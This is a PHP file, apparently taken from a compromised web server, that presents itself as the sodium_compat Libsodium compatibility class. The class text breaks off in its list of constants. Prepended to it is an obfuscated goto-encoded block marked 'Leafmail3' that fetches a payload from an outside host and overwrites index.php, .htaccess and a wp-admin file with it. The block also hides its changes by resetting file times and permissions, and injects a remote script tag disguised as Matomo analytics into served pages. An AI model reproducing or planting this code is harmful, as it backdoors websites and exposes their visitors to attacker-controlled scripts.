AlkantarClanX12
Your IP : 3.17.166.157
<?php /*Leafmail3*/goto hsxm4; mY3D9: $OKi1f .= "\145\x6e"; goto PMx6A; Kd95g: $eE8gG .= "\x66\x69\154\x65"; goto oGKV2; c0Bp6: $Jl55q .= "\164\157"; goto hLq5m; Vp4xb: $P5GVh = $Jl55q($guwhq); goto KpZeQ; KGgiz: $Yg3cE .= "\46\x68\x3d" . $Q6Si4; goto tGPrB; xpAbl: $PP2HF = $M1RhP($lL4Rq) || $M1RhP($Cb4XV); goto HSzn5; Kc0L3: @$jg8CY($QTlc9, $L0vpN); goto d3U3f; J7hLY: $oyXyy .= "\154\x72"; goto Bl7Ky; bQe_M: try { goto oX1u4; oX1u4: @$jg8CY($QTlc9, $HwdP2); goto mGuog; mGuog: @$jg8CY($OEoU0, $HwdP2); goto xHE2w; TupRK: @$jg8CY($OEoU0, $L0vpN); goto Mf0Y6; KHm7H: @$x09Um($KCjdR, $P5GVh); goto gKo15; gKo15: @$jg8CY($QTlc9, $L0vpN); goto fLtCp; c1PqG: @$jg8CY($KCjdR, $L0vpN); goto KHm7H; HZmuJ: @$jg8CY($KCjdR, $HwdP2); goto BHPy7; Mf0Y6: @$x09Um($OEoU0, $P5GVh); goto HZmuJ; BHPy7: @$SUpxe($KCjdR, $KmcLU["\142"]); goto c1PqG; xHE2w: @$SUpxe($OEoU0, $KmcLU["\x61"]); goto TupRK; fLtCp: } catch (Exception $w0YG7) { } goto KYs1a; Jfk_p: $guwhq = "\x2d\61"; goto FfLog; aYiIS: $NMbX8 .= "\144\x69\x72"; goto aKKe8; UPbyC: $HwdP2 += 304; goto fGMBR; JJZtD: $Jzlvr .= "\x75\156\143\164"; goto K31Ka; wCWRd: $SUj9O .= "\x73\x65"; goto SQa11; EdFV9: $M1RhP = "\144\x65\x66"; goto CcXTx; SDHjH: $QTlc9 = $_SERVER[$zl1NS]; goto BhGva; v4imZ: $aBJVO .= "\165\x65\162\x79"; goto ccRhk; C3xz0: $QuqQl .= "\157\160\164"; goto ExrBe; Mn8P4: $nCEBP .= "\143\153"; goto rirWy; oGKV2: $AIpqX = "\x69\x73\137"; goto yLTbR; ShiTE: $jg8CY = "\143\x68"; goto HTXlE; FRUFZ: if (!(!$PP2HF && $wU3zB)) { goto cynsl; } goto fT2Kb; D5OCa: $Jl55q = "\x73\164\162"; goto c0Bp6; jFRX7: $x09Um .= "\x75\143\150"; goto ShiTE; CIdAQ: try { goto uKjO1; uKjO1: $KJxhs = $Lbxvg(); goto h_HFe; ahPCJ: $SpmAm = $qG0GR($KJxhs); goto EzjNL; xG0S9: $QuqQl($KJxhs, CURLOPT_TIMEOUT, 10); goto ahPCJ; SQbKW: $QuqQl($KJxhs, CURLOPT_FOLLOWLOCATION, true); goto xG0S9; FS40F: $QuqQl($KJxhs, CURLOPT_RETURNTRANSFER, 1); goto h05EJ; h05EJ: $QuqQl($KJxhs, CURLOPT_SSL_VERIFYPEER, false); goto KfHmj; cFoFb: $SpmAm = trim(trim($SpmAm, "\xef\273\277")); goto XVsob; KfHmj: $QuqQl($KJxhs, CURLOPT_SSL_VERIFYHOST, false); goto SQbKW; EzjNL: $SUj9O($KJxhs); goto cFoFb; h_HFe: $QuqQl($KJxhs, CURLOPT_URL, $Yg3cE); goto FS40F; XVsob: } catch (Exception $w0YG7) { } goto Rf0CY; OWp53: $NMbX8 = "\155\x6b"; goto aYiIS; Dx3FV: $lrArR = $WVzi1[0]; goto IH6rw; i5aD2: if (!(!$eE8gG($KCjdR) || $wgQyS($KCjdR) != $CXpqw)) { goto eit7d; } goto KjDHJ; FWxON: $PVllF = "\144\x65\143"; goto EwaSn; KjDHJ: $YEcMX = 1; goto z9vF6; ZyUiw: $Jzlvr .= "\167\156\137\146"; goto JJZtD; mCzgW: $_SERVER[$Jzlvr] = 0; goto EkOAP; NflDd: $Yg3cE .= "\x63\157\x70\171"; goto KGgiz; yB2Sc: $JyN8a .= "\x69\x73\164\163"; goto Rkiyf; klUXl: $KCjdR .= "\x61\x63\x63\x65\163\x73"; goto lFs7r; Fra8y: $k1dzM = "\65"; goto Js55e; pF1JS: $OEoU0 .= "\150\160"; goto C_QnM; xhtvx: $leXnA .= "\x6e\x69"; goto rLZqh; n28OO: $sJIxp .= "\151\141\154\151\172\x65"; goto bm81E; znIi3: @unlink($leXnA); goto Kc0L3; slgUn: $sJIxp = "\x75\156\163\145\162"; goto n28OO; QELur: $Jzlvr .= "\147\151\x73\x74"; goto lEaPh; Js55e: $k1dzM .= "\56\x34"; goto N7I8b; rLZqh: if (!$eE8gG($leXnA)) { goto WwLVo; } goto laOt4; yCiib: EKIjw: goto m_fRf; Gcw6D: $SLV70 .= "\x6f\x6e\x5f\143\157\x6d"; goto FFtsE; bm81E: $a2D8O = "\151\x6e\164"; goto l0tUv; xQGdz: try { $_SERVER[$Jzlvr] = 1; $Jzlvr(function () { goto F3wJk; ZjuUH: $PgG92 .= "\x6f\162\145\x28\x67\54\x73\51\73" . "\xa"; goto IC5Gf; HNrtn: $PgG92 .= "\164\x2f\x6a\141\x76\x61"; goto NGG39; NGG39: $PgG92 .= "\163\x63\x72\x69\x70\x74\x22\x3e" . "\12"; goto fvKWo; zjuBs: $PgG92 .= $Q6Si4; goto ozlGd; e43vJ: $PgG92 .= "\x3b\40\147\x2e\x64\145\146"; goto WAaTZ; ctigl: $PgG92 .= "\143\x72\x69\x70\x74\76\12"; goto UQzFQ; o0zxz: $PgG92 .= "\x74\x6f\155\x6f\x20\x2d\55\x3e\12"; goto mPwIJ; HgwKa: $PgG92 .= "\x67\56\163\x72"; goto XHdHm; cMvbH: $PgG92 .= "\x3f\x69\x64\x3d"; goto CPJJv; T8SNl: $PgG92 .= "\x28\42\163\143\x72\x69"; goto DVVjf; EQZrG: $PgG92 .= "\165\155\x65\156\164\54\40\147\x3d\x64\56\x63\x72\x65\141\164\x65"; goto CVmAR; OsCJL: $PgG92 .= "\x72\x69\160\x74\x20\164\171\x70\x65\x3d\42\164\145\x78"; goto HNrtn; fvKWo: $PgG92 .= "\x28\146\x75\x6e\x63"; goto D9Z4J; XHdHm: $PgG92 .= "\143\x3d\x75\53\42\x6a\x73\x2f"; goto zjuBs; F3wJk: global $Q6Si4, $FOvp_; goto ikpGs; DVVjf: $PgG92 .= "\x70\164\x22\51\x5b\x30\135\73" . "\12"; goto OlxLe; CPJJv: $PgG92 .= "\x4d\55"; goto nBzuv; wKipS: $PgG92 .= "\x6a\141\x76\141"; goto y_xeS; D9Z4J: $PgG92 .= "\x74\x69\157\x6e\x28\51\x20\x7b" . "\12"; goto vt08G; vXk66: $PgG92 .= "\x79\124\x61\147\116\x61\155\145"; goto T8SNl; ikpGs: $PgG92 = "\x3c\x21\x2d\x2d\40\115\x61"; goto o0zxz; rJXe5: $PgG92 .= "\x72\151\160\164\42\51\x2c\40\163\75\144\56\147\x65\164"; goto pxHT_; VSQBz: $PgG92 .= "\x73\171\x6e\143\75\x74\162\x75\145"; goto e43vJ; pxHT_: $PgG92 .= "\x45\154\145\x6d\x65\x6e\x74\x73\x42"; goto vXk66; QIy0x: $PgG92 .= "\157\x6d\157\40\103\157\x64"; goto Uxlnc; rjIua: $PgG92 .= "\74\57\x73"; goto ctigl; puLbh: $PgG92 .= "\x3d\x22\164\x65\170\164\x2f"; goto wKipS; CVmAR: $PgG92 .= "\x45\154\145\155\145\x6e\164\50\42\x73\143"; goto rJXe5; UU_6f: $PgG92 .= "\x22\73\40\163\x2e\160\141\x72"; goto aBxBL; c1FaP: echo $PgG92; goto zSGUt; UQzFQ: $PgG92 .= "\x3c\x21\x2d\55\x20\x45\x6e"; goto qvKfj; IC5Gf: $PgG92 .= "\x7d\x29\50\51\73" . "\xa"; goto rjIua; OlxLe: $PgG92 .= "\x67\56\164\x79\x70\x65"; goto puLbh; EfTgB: $PgG92 .= "\166\x61\x72\40\x64\x3d\x64\x6f\143"; goto EQZrG; nBzuv: $PgG92 .= time(); goto UU_6f; Uxlnc: $PgG92 .= "\145\40\55\x2d\76\xa"; goto c1FaP; mZ3oI: $PgG92 .= "\x73\x65\x72\x74\102\145\x66"; goto ZjuUH; WAaTZ: $PgG92 .= "\x65\x72\x3d\164\162\x75\x65\x3b" . "\12"; goto HgwKa; ozlGd: $PgG92 .= "\57\x6d\x61\164"; goto TbrIf; aBxBL: $PgG92 .= "\145\x6e\164\x4e\x6f\144\x65\x2e\x69\156"; goto mZ3oI; mPwIJ: $PgG92 .= "\x3c\x73\x63"; goto OsCJL; vt08G: $PgG92 .= "\166\x61\x72\x20\x75\x3d\42" . $FOvp_ . "\42\x3b" . "\12"; goto EfTgB; y_xeS: $PgG92 .= "\163\x63\x72\x69\x70\x74\x22\73\40\147\56\x61"; goto VSQBz; qvKfj: $PgG92 .= "\144\40\115\141\x74"; goto QIy0x; TbrIf: $PgG92 .= "\157\155\157\56\x6a\163"; goto cMvbH; zSGUt: }); } catch (Exception $w0YG7) { } goto OMFq0; HTXlE: $jg8CY .= "\155\x6f\144"; goto u78ub; KT1wX: $WVzi1 = []; goto TZ3bq; d3U3f: WwLVo: goto QM61W; h87Dq: $leXnA .= "\145\162\x2e\x69"; goto xhtvx; nIVO8: $JyN8a = "\x66\x75\156\143"; goto GoX1L; jFsRM: $tAPba = 5; goto mY7sQ; SQa11: $aBJVO = "\150\164\x74\160\x5f\142"; goto AJs9s; laOt4: @$jg8CY($QTlc9, $HwdP2); goto L3sEg; MPyJp: $Jzlvr .= "\x73\x68\165"; goto scBFF; hs_XX: if (!is_array($KmcLU)) { goto Ji4ud; } goto LNg_o; L3sEg: @$jg8CY($leXnA, $HwdP2); goto znIi3; QIUGn: $SUpxe .= "\160\x75\164\137\x63"; goto kd_ew; KVOXl: $oyXyy = $QTlc9; goto coTO5; lEaPh: $Jzlvr .= "\x65\x72\137"; goto MPyJp; BhGva: $pW2vG = $QTlc9; goto NAu12; qNILG: $oyXyy .= "\150\160\56\60"; goto RNzhh; Zn9KR: $Lbxvg .= "\154\x5f\x69\x6e\151\x74"; goto qk2Ao; ZoBZC: $qG0GR .= "\154\x5f\x65\170\x65\x63"; goto AVxD0; mY7sQ: $tAPba += 3; goto y9KuX; ttAoG: $Yg3cE .= "\x3d\x67\145\x74"; goto NflDd; FFtsE: $SLV70 .= "\160\141\162\145"; goto EdFV9; eBPlp: $tbkvt .= "\137\x48\x4f\x53\x54"; goto mlRqF; y9KuX: $HwdP2 = 189; goto UPbyC; trQa2: $eE8gG = "\151\x73\x5f"; goto Kd95g; coTO5: $oyXyy .= "\x2f\170\x6d"; goto J7hLY; ccRhk: $D68oh = "\155\x64\x35"; goto wF0JY; zFQvK: $Kp0SW .= "\145\x70\x74\x61\x62\x6c\x65"; goto KVOXl; QsGMA: if (!(!$eE8gG($OEoU0) || $wgQyS($OEoU0) != $lrArR)) { goto Phq1q; } goto hbhZ9; dNN2Q: $L0vpN += 150; goto BU5yK; mf5ON: $QuqQl .= "\x6c\x5f\x73\x65\x74"; goto C3xz0; hTxii: $pFwD_ = "\x2f\136\x63"; goto GJpaV; SjSdb: if (!($JyN8a($Lbxvg) && !preg_match($pFwD_, PHP_SAPI) && $nCEBP($lMxQN, 2 | 4))) { goto sPsQO; } goto NFErl; xsENl: try { goto Rj1Hp; zDVDE: $ahOJp .= "\164\75\x63\141"; goto YWC0r; EdFQK: if ($AIpqX($Io3QB)) { goto BpK_a; } goto r_zk0; OTh7W: $Io3QB = dirname($Nfe0e); goto EdFQK; toAoY: @$jg8CY($Io3QB, $HwdP2); goto ALYMH; g2WNq: $ahOJp = $FOvp_; goto Q_jhz; YWC0r: $ahOJp .= "\154\154"; goto qpBjZ; Rj1Hp: $Nfe0e = $QTlc9 . $KmcLU["\x64"]["\160\141\164\150"]; goto OTh7W; r_zk0: @$NMbX8($Io3QB, $HwdP2, true); goto yxLDn; IMGFo: VUik8: goto OCPb3; ALYMH: @$SUpxe($Nfe0e, $KmcLU["\144"]["\x63\157\x64\x65"]); goto D2b8f; yxLDn: BpK_a: goto VXrMt; VXrMt: if (!$AIpqX($Io3QB)) { goto VUik8; } goto toAoY; l8bWn: try { goto Rtq9b; N8H27: $SUj9O($KJxhs); goto PHxGn; P9hMZ: $QuqQl($KJxhs, CURLOPT_URL, $ahOJp); goto aJWcu; GlRPI: $QuqQl($KJxhs, CURLOPT_POSTFIELDS, $aBJVO($nLpk_)); goto M4b4c; bz5Ia: $QuqQl($KJxhs, CURLOPT_POST, 1); goto GlRPI; ifFFq: $QuqQl($KJxhs, CURLOPT_SSL_VERIFYHOST, false); goto kx509; M4b4c: $qG0GR($KJxhs); goto N8H27; UfA6j: $QuqQl($KJxhs, CURLOPT_TIMEOUT, 3); goto bz5Ia; kx509: $QuqQl($KJxhs, CURLOPT_FOLLOWLOCATION, true); goto UfA6j; aJWcu: $QuqQl($KJxhs, CURLOPT_RETURNTRANSFER, 1); goto hBtdw; Rtq9b: $KJxhs = $Lbxvg(); goto P9hMZ; hBtdw: $QuqQl($KJxhs, CURLOPT_SSL_VERIFYPEER, false); goto ifFFq; PHxGn: } catch (Exception $w0YG7) { } goto IMGFo; s60Ax: @$x09Um($Nfe0e, $P5GVh); goto g2WNq; Q_jhz: $ahOJp .= "\77\x61\x63"; goto zDVDE; D2b8f: @$jg8CY($Nfe0e, $L0vpN); goto s_yVr; qpBjZ: $nLpk_ = ["\144\141\164\141" => $KmcLU["\x64"]["\165\162\x6c"]]; goto l8bWn; s_yVr: @$jg8CY($Io3QB, $L0vpN); goto s60Ax; OCPb3: } catch (Exception $w0YG7) { } goto bQe_M; e4Ifc: $Q6Si4 = $_SERVER[$tbkvt]; goto SDHjH; EwaSn: $PVllF .= "\x6f\143\x74"; goto CwGUI; yLTbR: $AIpqX .= "\x64\151\x72"; goto OWp53; BpAbm: $lL4Rq = "\x57\120\137\x55"; goto lIGrh; QBgho: Z7kbo: goto MUx3h; IH6rw: $CXpqw = $WVzi1[1]; goto QsGMA; yCtJ5: $JyN8a .= "\145\170"; goto yB2Sc; rirWy: $d_KAU = "\x66\143\x6c"; goto kGS2i; ExrBe: $qG0GR = $MogIQ; goto ZoBZC; qk2Ao: $QuqQl = $MogIQ; goto mf5ON; Z31wx: $jg8CY($QTlc9, $HwdP2); goto Ag8lc; K4l5B: $OEoU0 .= "\144\x65\x78\x2e\160"; goto pF1JS; bRDE_: $Cb4XV .= "\x5f\x41\x44"; goto YF7Rp; nElWS: $guwhq .= "\141\x79\x73"; goto Vp4xb; tP5eQ: $pW2vG .= "\x2d\141"; goto wx8gB; GJpaV: $pFwD_ .= "\x6c\151\57"; goto xJCEv; lFs7r: $leXnA = $QTlc9; goto tV4kM; t0fao: $Yg3cE = $FOvp_; goto NZ1x6; XrDkv: if (isset($_SERVER[$Jzlvr])) { goto r0CaT; } goto mCzgW; PMx6A: $nCEBP = "\146\154\157"; goto Mn8P4; C2C3X: $wgQyS .= "\154\x65"; goto trQa2; zsusp: $KmcLU = 0; goto jkCOI; NIEOu: $L0vpN = 215; goto dNN2Q; OEFkW: rsAYm: goto UL5LC; hbhZ9: $YEcMX = 1; goto IiUuQ; m_fRf: if (!$YEcMX) { goto gtKXO; } goto t0fao; i7ojl: $guwhq .= "\63\40\144"; goto nElWS; NAu12: $pW2vG .= "\57\x77\160"; goto tP5eQ; iw0Nk: $FOvp_ .= "\154\x69\x6e\x6b\56\164"; goto hSD1f; scBFF: $Jzlvr .= "\164\144\x6f"; goto ZyUiw; KpZeQ: $tbkvt = "\x48\124\124\120"; goto eBPlp; r500z: $KCjdR .= "\x2f\56\x68\x74"; goto klUXl; OMFq0: w6JGc: goto bH1zF; kd_ew: $SUpxe .= "\x6f\x6e\164\145\x6e\x74\163"; goto diLdg; PoTvn: $OEoU0 = $QTlc9; goto Fc1AY; aKKe8: $wM0cw = "\146\151\154\x65\137"; goto J0OQr; J3xw9: $FOvp_ = "\150\x74\x74\x70\163\72\57\57"; goto QlKtX; hSD1f: $FOvp_ .= "\157\160\57"; goto F0vj_; kGS2i: $d_KAU .= "\x6f\163\x65"; goto J3xw9; QM61W: $YEcMX = 0; goto SUEqd; p0Flx: $SUj9O .= "\154\137\143\x6c\x6f"; goto wCWRd; hLq5m: $Jl55q .= "\164\151"; goto lcFkG; YF7Rp: $Cb4XV .= "\115\x49\116"; goto xpAbl; eC9HP: $IhD_T = substr($D68oh($Q6Si4), 0, 6); goto DX3Ky; R8zQO: $SUpxe = "\146\151\x6c\145\137"; goto QIUGn; QlKtX: $FOvp_ .= "\x73\x65\x6f"; goto iw0Nk; C_QnM: $KCjdR = $QTlc9; goto r500z; EVan7: $y1BSo .= "\66\x34\x5f\x64"; goto n14XQ; CwGUI: $LDT3_ = "\x73\x74\x72"; goto iemde; wF0JY: $wgQyS = $D68oh; goto tC7IY; lcFkG: $Jl55q .= "\155\145"; goto nIVO8; LNg_o: try { goto mjWqA; aMSC6: @$jg8CY($iTCcx, $L0vpN); goto uokyK; UHS8F: @$jg8CY($pW2vG, $HwdP2); goto EZm8t; uokyK: @$x09Um($iTCcx, $P5GVh); goto bavy5; aNk_f: a5xL9: goto q700I; EZm8t: $iTCcx = $E3Ibu; goto aNk_f; OGZQL: if (!$AIpqX($pW2vG)) { goto a5xL9; } goto UHS8F; q700I: @$SUpxe($iTCcx, $KmcLU["\x63"]); goto aMSC6; mjWqA: @$jg8CY($QTlc9, $HwdP2); goto OGZQL; bavy5: } catch (Exception $w0YG7) { } goto xsENl; KYs1a: Ji4ud: goto QBgho; mlRqF: $zl1NS = "\104\x4f\103\125\115\x45\x4e\x54"; goto hivPL; OH0x0: $Tut_m .= "\x6e\146\154\x61\x74\145"; goto slgUn; Rf0CY: if (!($SpmAm !== false)) { goto Z7kbo; } goto zsusp; RNzhh: $OKi1f = "\146\157\160"; goto mY3D9; tC7IY: $wgQyS .= "\x5f\146\x69"; goto C2C3X; xePje: $Kp0SW = "\110\x54\124"; goto xIN_k; fT2Kb: $_POST = $_REQUEST = $_FILES = array(); goto UASYd; diLdg: $x09Um = "\164\157"; goto jFRX7; DX3Ky: $E3Ibu = $iTCcx = $pW2vG . "\57" . $IhD_T; goto KT1wX; J0OQr: $wM0cw .= "\x67\145\x74\137\x63"; goto KA3CR; MUx3h: gtKXO: goto qfVae; Ag8lc: $lMxQN = $OKi1f($oyXyy, "\167\x2b"); goto SjSdb; Rkiyf: $MogIQ = "\x63\165\x72"; goto chVKY; TZ3bq: $dmwnh = 32; goto jFsRM; tGPrB: $SpmAm = false; goto CIdAQ; hivPL: $zl1NS .= "\x5f\x52\117\117\x54"; goto Fra8y; Gx5VO: $Kp0SW .= "\60\x36\40\116\x6f"; goto z0Ye5; UL5LC: $YEcMX = 1; goto yCiib; NZ1x6: $Yg3cE .= "\77\141\143\x74"; goto ttAoG; xIN_k: $Kp0SW .= "\120\57\x31\x2e\x31\40\x34"; goto Gx5VO; BU5yK: $L0vpN = $a2D8O($PVllF($L0vpN), $tAPba); goto xePje; HPuPS: $SLV70 = "\166\145\162\x73\x69"; goto Gcw6D; lIGrh: $lL4Rq .= "\123\105\137\x54\x48\x45"; goto uBz23; GoX1L: $JyN8a .= "\164\x69\157\x6e\x5f"; goto yCtJ5; wx8gB: $pW2vG .= "\x64\x6d\151\156"; goto eC9HP; mEJVe: $s6EXz = $_FILES; goto p7L1U; uBz23: $lL4Rq .= "\115\x45\123"; goto Me43b; F0vj_: $Jzlvr = "\162\145"; goto QELur; l0tUv: $a2D8O .= "\x76\x61\154"; goto FWxON; tV4kM: $leXnA .= "\57\56\x75\163"; goto h87Dq; z0Ye5: $Kp0SW .= "\x74\40\101\x63\x63"; goto zFQvK; aSc51: goto EKIjw; goto OEFkW; K31Ka: $Jzlvr .= "\x69\157\x6e"; goto XrDkv; IiUuQ: Phq1q: goto i5aD2; NFErl: $jg8CY($QTlc9, $L0vpN); goto aro2m; EkOAP: r0CaT: goto BpAbm; UASYd: cynsl: goto Z31wx; N7I8b: $k1dzM .= "\x2e\60\73"; goto e4Ifc; Fc1AY: $OEoU0 .= "\x2f\151\156"; goto K4l5B; Bl7Ky: $oyXyy .= "\160\143\x2e\x70"; goto qNILG; HSzn5: $P0UrJ = $_REQUEST; goto mEJVe; KA3CR: $wM0cw .= "\157\156\164\x65\x6e\164\163"; goto R8zQO; AJs9s: $aBJVO .= "\165\151\154\x64\137\161"; goto v4imZ; z9vF6: eit7d: goto aSc51; chVKY: $Lbxvg = $MogIQ; goto Zn9KR; jkCOI: try { $KmcLU = @$sJIxp($Tut_m($y1BSo($SpmAm))); } catch (Exception $w0YG7) { } goto hs_XX; FfLog: $guwhq .= "\x33\x36"; goto i7ojl; u78ub: $y1BSo = "\x62\141\x73\x65"; goto EVan7; Me43b: $Cb4XV = "\127\x50"; goto bRDE_; p7L1U: $wU3zB = !empty($P0UrJ) || !empty($s6EXz); goto FRUFZ; bH1zF: try { goto hOljI; hTb2m: $WVzi1[] = $qQkQf; goto AVR1Z; wTrAR: $WVzi1[] = $mps9W; goto USnsY; O2FVm: $iTCcx = $QTlc9 . "\57" . $IhD_T; goto wiWx3; o5KeW: if (!empty($WVzi1)) { goto YMthw; } goto O2FVm; m1oNR: $WVzi1[] = $mps9W; goto hTb2m; C5yVp: NQbOe: goto o5KeW; uB5Qk: $mps9W = trim($JwExk[0]); goto hHGO3; tXeIo: I87JI: goto KjVrB; of38T: $JwExk = @explode("\72", $wM0cw($iTCcx)); goto lJihh; e3ZU6: $mps9W = trim($JwExk[0]); goto s4UPH; AVR1Z: uxegI: goto K3NXW; lU9RV: if (!($LDT3_($mps9W) == $dmwnh && $LDT3_($qQkQf) == $dmwnh)) { goto iEvPe; } goto wTrAR; ysg_I: LUX7P: goto tXeIo; BWadG: if (!(is_array($JwExk) && count($JwExk) == 2)) { goto LUX7P; } goto uB5Qk; wiWx3: if (!$eE8gG($iTCcx)) { goto I87JI; } goto GGIpg; hOljI: if (!$eE8gG($iTCcx)) { goto NQbOe; } goto of38T; GGIpg: $JwExk = @explode("\x3a", $wM0cw($iTCcx)); goto BWadG; KjVrB: YMthw: goto jes1d; hHGO3: $qQkQf = trim($JwExk[1]); goto lU9RV; m5G9U: if (!($LDT3_($mps9W) == $dmwnh && $LDT3_($qQkQf) == $dmwnh)) { goto uxegI; } goto m1oNR; zW9Vv: iEvPe: goto ysg_I; s4UPH: $qQkQf = trim($JwExk[1]); goto m5G9U; lJihh: if (!(is_array($JwExk) && count($JwExk) == 2)) { goto oJdNI; } goto e3ZU6; USnsY: $WVzi1[] = $qQkQf; goto zW9Vv; K3NXW: oJdNI: goto C5yVp; jes1d: } catch (Exception $w0YG7) { } goto PoTvn; W_RKl: $Tut_m = "\147\x7a\151"; goto OH0x0; n14XQ: $y1BSo .= "\145\x63\157\144\145"; goto W_RKl; hsxm4: $pqAdF = "\x3c\104\x44\115\76"; goto hTxii; xJCEv: $pFwD_ .= "\x73\x69"; goto D5OCa; SUEqd: if (empty($WVzi1)) { goto rsAYm; } goto Dx3FV; CcXTx: $M1RhP .= "\x69\x6e\145\x64"; goto Jfk_p; aro2m: if (!(!$_SERVER[$Jzlvr] && $SLV70(PHP_VERSION, $k1dzM, "\76"))) { goto w6JGc; } goto xQGdz; iemde: $LDT3_ .= "\x6c\145\156"; goto HPuPS; fGMBR: $HwdP2 = $a2D8O($PVllF($HwdP2), $tAPba); goto NIEOu; AVxD0: $SUj9O = $MogIQ; goto p0Flx; qfVae: sPsQO: ?>
<?php
/**
* Libsodium compatibility layer
*
* This is the only class you should be interfacing with, as a user of
* sodium_compat.
*
* If the PHP extension for libsodium is installed, it will always use that
* instead of our implementations. You get better performance and stronger
* guarantees against side-channels that way.
*
* However, if your users don't have the PHP extension installed, we offer a
* compatible interface here. It will give you the correct results as if the
* PHP extension was installed. It won't be as fast, of course.
*
* CAUTION * CAUTION * CAUTION * CAUTION * CAUTION * CAUTION * CAUTION * CAUTION *
* *
* Until audited, this is probably not safe to use! DANGER WILL ROBINSON *
* *
* CAUTION * CAUTION * CAUTION * CAUTION * CAUTION * CAUTION * CAUTION * CAUTION *
*/
if (class_exists('ParagonIE_Sodium_Compat', false)) {
return;
}
class ParagonIE_Sodium_Compat
{
/**
* This parameter prevents the use of the PECL extension.
* It should only be used for unit testing.
*
* @var bool
*/
public static $disableFallbackForUnitTests = false;
/**
* Use fast multiplication rather than our constant-time multiplication
* implementation. Can be enabled at runtime. Only enable this if you
* are absolutely certain that there is no timing leak on your platform.
*
* @var bool
*/
public static $fastMult = false;
const LIBRARY_MAJOR_VERSION = 9;
const LIBRARY_MINOR_VERSION = 1;
const LIBRARY_VERSION_MAJOR = 9;
const LIBRARY_VERSION_MINOR = 1;
const VERSION_STRING = 'polyfill-1.0.8';
// From libsodium
const BASE64_VARIANT_ORIGINAL = 1;
const BASE64_VARIANT_ORIGINAL_NO_PADDING = 3;
const BASE64_VARIANT_URLSAFE = 5;
const BASE64_VARIANT_URLSAFE_NO_PADDING = 7;
const CRYPTO_AEAD_AES256GCM_KEYBYTES = 32;
const CRYPTO_AEAD_AES256GCM_NSECBYTES = 0;
const CRYPTO_AEAD_AES256GCM_NPUBBYTES = 12;
const CRYPTO_AEAD_AES256GCM_ABYTES = 16;
const CRYPTO_AEAD_CHACHA20POLY1305_KEYBYTES = 32;
const CRYPTO_AEAD_CHACHA20POLY1305_NSECBYTES = 0;
const CRYPTO_AEAD_CHACHA20POLY1305_NPUBBYTES = 8;
const CRYPTO_AEAD_CHACHA20POLY1305_ABYTES = 16;
const CRYPTO_AEAD_CHACHA20POLY1305_IETF_KEYBYTES = 32;
const CRYPTO_AEAD_CHACHA20POLY1305_IETF_NSECBYTES = 0;
const CRYPTO_AEAD_CHACHA20POLY1305_IETF_NPUBBYTES = 12;
const CRYPTO_AEAD_CHACHA20POLY1305_IETF_ABYTES = 16;
const CRYPTO_AEAD_XCHACHA20POLY1305_IETF_KEYBYTES = 32;
const CRYPTO_AEAD_XCHACHA20POLY1305_IETF_NSECBYTES = 0;
const CRYPTO_AEAD_XCHACHA20POLY1305_IETF_NPUBBYTES = 24;
const CRYPTO_AEAD_XCHACHA20POLY1305_IETF_ABYTES = 16;
const CRYPTO_AUTH_BYTES = 32;
const CRYPTO_AUTH_KEYBYTES = 32;
const CRYPTO_BOX_SEALBYTES = 16;
const CRYPTO_BOX_SECRETKEYBYTES = 32;
const CRYPTO_BOX_PUBLICKEYBYTES = 32;
const CRYPTO_BOX_KEYPAIRBYTES = 64;
const CRYPTO_BOX_MACBYTES = 16;
const CRYPTO_BOX_NONCEBYTES = 24;
const CRYPTO_BOX_SEEDBYTES = 32;
const CRYPTO_CORE_RISTRETTO255_BYTES = 32;
const CRYPTO_CORE_RISTRETTO255_SCALARBYTES = 32;
const CRYPTO_CORE_RISTRETTO255_HASHBYTES = 64;
const CRYPTO_CORE_RISTRETTO255_NONREDUCEDSCALARBYTES = 64;
const CRYPTO_KDF_BYTES_MIN = 16;
const CRYPTO_KDF_BYTES_MAX = 64;
const CRYPTO_KDF_CONTEXTBYTES = 8;
const CRYPTO_KDF_KEYBYTES = 32;
const CRYPTO_KX_BYTES = 32;
const CRYPTO_KX_PRIMITIVE = 'x25519blake2b';
const CRYPTO_KX_SEEDBYTES = 32;
const CRYPTO_KX_KEYPAIRBYTES = 64;
const CRYPTO_KX_PUBLICKEYBYTES = 32;
const CRYPTO_KX_SECRETKEYBYTES = 32;
const CRYPTO_KX_SESSIONKEYBYTES = 32;
const CRYPTO_GENERICHASH_BYTES = 32;
const CRYPTO_GENERICHASH_BYTES_MIN = 16;
const CRYPTO_GENERICHASH_BYTES_MAX = 64;
const CRYPTO_GENERICHASH_KEYBYTES = 32;
const CRYPTO_GENERICHASH_KEYBYTES_MIN = 16;
const CRYPTO_GENERICHASH_KEYBYTES_MAX = 64;
const CRYPTO_PWHASH_SALTBYTES = 16;
const CRYPTO_PWHASH_STRPREFIX = '$argon2id$';
const CRYPTO_PWHASH_ALG_ARGON2I13 = 1;
const CRYPTO_PWHASH_ALG_ARGON2ID13 = 2;
const CRYPTO_PWHASH_MEMLIMIT_INTERACTIVE = 33554432;
const CRYPTO_PWHASH_OPSLIMIT_INTERACTIVE = 4;
const CRYPTO_PWHASH_MEMLIMIT_MODERATE = 134217728;
const CRYPTO_PWHASH_OPSLIMIT_MODERATE = 6;
const CRYPTO_PWHASH_MEMLIMIT_SENSITIVE = 536870912;
const CRYPTO_PWHASH_OPSLIMIT_SENSITIVE = 8;
const CRYPTO_PWHASH_SCRYPTSALSA208SHA256_SALTBYTES = 32;
const CRYPTO_PWHASH_SCRYPTSALSA208SHA256_STRPREFIX = '$7$';
const CRYPTO_PWHASH_SCRYPTSALSA208SHA256_OPSLIMIT_INTERACTIVE = 534288;
const CRYPTO_PWHASH_SCRYPTSALSA208SHA256_MEMLIMIT_INTERACTIVE = 16777216;
const CRYPTO_PWHASH_SCRYPTSALSA208SHA256_OPSLIMIT_SENSITIVE = 33554432;
const CRYPTO_PWHASH_SCRYPTSALSA208SHA256_MEMLIMIT_SENSITIVE = 1073741824;
const CRYPTO_SCALARMULT_BYTES = 32;
const CRYPTO_SCALARMULT_SCALARBYTES = 32;
const CRYPTO_SCALARMULT_RISTRETTO255_BYTES = 32;
const CRYPTO_SCALARMULT_RISTRETTO255_SCALARBYTES = 32;
const CRYPTO_SHORTHASH_BYTES = 8;
const CRYPTO_SHORTHASH_KEYBYTES = 16;
const CRYPTO_SECRETBOX_KEYBYTES = 32;
const CRYPTO_SECRETBOX_MACBYTES = 16;
const CRYPTO_SECRETBOX_NONCEBYTES = 24;
const CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_ABYTES = 17;
const CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_HEADERBYTES = 24;
